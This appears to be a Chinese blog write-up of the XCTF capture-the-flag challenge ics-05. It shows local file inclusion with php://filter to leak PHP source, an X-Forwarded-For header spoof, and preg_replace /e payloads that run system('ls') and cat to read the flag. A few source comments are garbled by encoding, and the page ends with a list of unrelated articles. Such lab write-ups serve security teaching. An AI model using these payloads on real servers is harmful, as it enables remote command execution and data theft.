当前位置:网站首页>攻防世界——ics-05
攻防世界——ics-05
2022-08-08 07:53:00 【隐身的菜鸟】
打开题目场景,进入设备维护中心,将所有可点击的地方都点了一遍,发现只有设备维护中心可以打开


在源代码中发现page=index


写入参数,参数会在页面中显示
有参数的话,可以尝试以下XSS(没有任何反应,失败)

LFI(Local File Inclusion) 本地文件包含漏洞,指的是能打开并包含本地文件的漏洞
LFI漏洞的黑盒判断方法:如果只从URL判断,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键词,就可能存在文件包含漏洞。
将参数换成index.php之后,返回了OK,所有这里是个文件包含

是文件包含,我们尝试使用伪协议php://
使用php://input可以进行php代码的提交,但是不可行

所以我们换一种方式,使用php://filter,它可以设计用来筛选文件,我们可以使用它来包含index.php的文件,从而获取源码
?page=php://filter/resource=index.php
直接包含发现会直接运行php文件,无法获得源码,include函数会将php文件进行执行,若我们将传进去的文件先进行编码(base64)再传给它,就会输出它的内容了,然后再解码就可得到源码
?page=php://filter/read=convert.base64-encode/resource=index.php
接下来解码得到一段html,从中得到一段php代码
<?php
$page = $_GET[page];//拿到参数
if (isset($page)) {//如果存在
if (ctype_alnum($page)) { //如果都为字母或者数字
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p> //输出参数
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {//input相当于禁用了
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');//为什么返回Ok了
}
include($page);//包含参数
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的åžçŽ°è¾“å
¥è¾“出的功能,æ£åœ¨å¼€å‘ä¸çš„功能,åªèƒ½å†
部人员测试
//以上的代码都不重要,真正利用的在这块
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//如果请求包中HTTP_X_FORWARDED_FOR为127.0.0.1
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);//将subject中匹配pattern的部分用replacement替换
}else{
die();
}
}
?>
ctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母,如果是返回true,否则返回false。
strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置(大小写敏感)。
preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行。
不要page参数了,添加X-Forwarded-For:127.0.0.1,页面出现welcome my admin!

接下来利用的是preg_replace函数/e漏洞:查看所有文件
payload:/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc
preg_replace()函数的/e漏洞
正确的php system()函数的书写
preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
简单来说就是替换字符串
发现可以进行命令执行,并且发现可疑目录,进入目录并查看文件
payload:/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=asdsadasabc
%26为&,这里进行了url编码,不进行编码会失败
/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=asdsadasabc

发现flag.php文件,使用cat进行查看:
payload:/index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=asdsadasabc

边栏推荐
- lua --- 基本语法学习
- 炽热如初 向新而生|ISC2022 HackingClub白帽峰会圆满举办
- 在 TensorFlow 中构建 3D-CNN
- 了不起的certbot申请免费SSL证书
- 生产者消费者模型
- IIC通讯协议与EEPROM简介
- DAY1-深度学习100例-卷积神经网络(CNN)实现mnist手写数字识别
- The industry's first "Causal Inference Whole Process" Challenge!WAIC 2022 · Hackathon invites global developer elites to challenge
- 易语言设置多个热键
- 进程间的五种通信方法
猜你喜欢
随机推荐
shell基本指南
百度飞浆EISeg高效交互式标注分割软件的使用教程
制作SD启动卡,从SD卡启动系统
Task02:PyTorch进阶训练技巧
throw和throws区别
under项目under项目
lua --- 基本语法学习
mockserver使用
物联网安全-单向散列算法
论文解读:多层肽 - 蛋白质相互作用预测的深度学习框架
超强企业建站系统介绍:五大特点
The basic method of use in the volatile in the C language
炽热如初 向新而生|ISC2022 HackingClub白帽峰会圆满举办
Datawhale社区黑板报(第二期)
Source Insight 4.0 安装过程及简单使用
包含漏洞-读写文件以及执行命令
优雅地处理重复请求(并发请求)
快速排序
力扣142-环形链表——链表&快慢指针法&哈希表法
用于一型糖尿病血糖调节的无模型iPID控制器









